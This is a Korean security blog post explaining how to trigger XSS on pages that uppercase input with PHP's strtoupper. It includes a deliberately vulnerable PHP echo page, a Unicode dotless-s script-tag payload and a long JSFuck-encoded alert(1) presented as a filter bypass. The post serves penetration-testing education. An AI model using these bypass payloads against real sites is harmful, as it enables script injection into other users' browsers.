본문 바로가기
Hack/Web

strtoupper를 이용한 XSS 공격

by Becoming a Hacker 2021. 1. 6.
반응형

개요

rubiya님의 해당 게시글에 자세한 개념이 잘 정리되어 있습니다. 여기서는 실제 진단에 어떻게 활용할 수 있을지에 대한 부분만 중점적으로 다루겠습니다.

 

strtoupper() – blog.rubiya.kr

해당 문서는 위의 트윗을 보고 추가적인 연구를 진행해 Theori 내부 세미나에서 발표한 결과물이다.(사장님 허락받고 올린다) (%C4%B1) 는 LATIN SMALL LETTER DOTLESS I를, (%E2%84%AA) KELVIN SIGN을, (%C5%BF) 는 LATI

blog.rubiya.kr


실제 취약점 진단에 활용하는 방법

strtolower()와 같이 소문자로 치환해주는 함수의 경우 <ſCRIPT>alert(1);</ſCRIPT>로 입력해주는 것만으로도 XSS 취약점이 발생하였습니다.

 

그런데 strtoupper()와 같은 함수는 대문자로 치환해주기때문에 단순히 alert(1);를 입력하는 것으로는 XSS 취약점이 발생하지 않았습니다. 왜냐하면 알림 창을 띄우는 함수는 alert이지 ALERT이 아니기 때문입니다.

ALERT is not defined

 

그래서 strtoupper 함수로 WAF Bypass가 가능한 상황에서 alert 함수를 실행시키려면 어떻게 입력을 해야하는지를 찾아보게 되었습니다.

 

먼저 php를 이용하여 특정 페이지를 취약하게 구성하였습니다.

<?php
        echo mb_strtoupper($_GET['js']);
?>

 

알림 창을 띄우기 위해 가장 중요한 포인트는 소문자를 이용하지 않고 alert 함수를 실행 시키는 것이었습니다. 여러가지 방법들을 찾아보던 도중 알파벳을 사용하지 않고 javascript Code를 구현할 수 있다는 것을 알아냈습니다.

 

알파벳을 사용하지 않으면서 alert(1)이 실행되는 코드는 다음과 같습니다. (jsfuck.com에서 알파벳을 사용하지 않도록 jscode를 변환할 수 있습니다.)

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

 

해당 코드를 URL 방식으로 Encoding 한 뒤, ſCRIPT 사이에 넣고 페이지에 접근할 경우 XSS 취약점이 발생하는 것을 확인할 수 있습니다.

XSS 발생

 

알파벳을 사용하지 않도록 변환된 jscode는 strtoupper로 인해 취약점이 발생하는 환경이 아니더라도 다양한 환경에서 사용될 수 있는 Bypass 방법인 것 같습니다.

댓글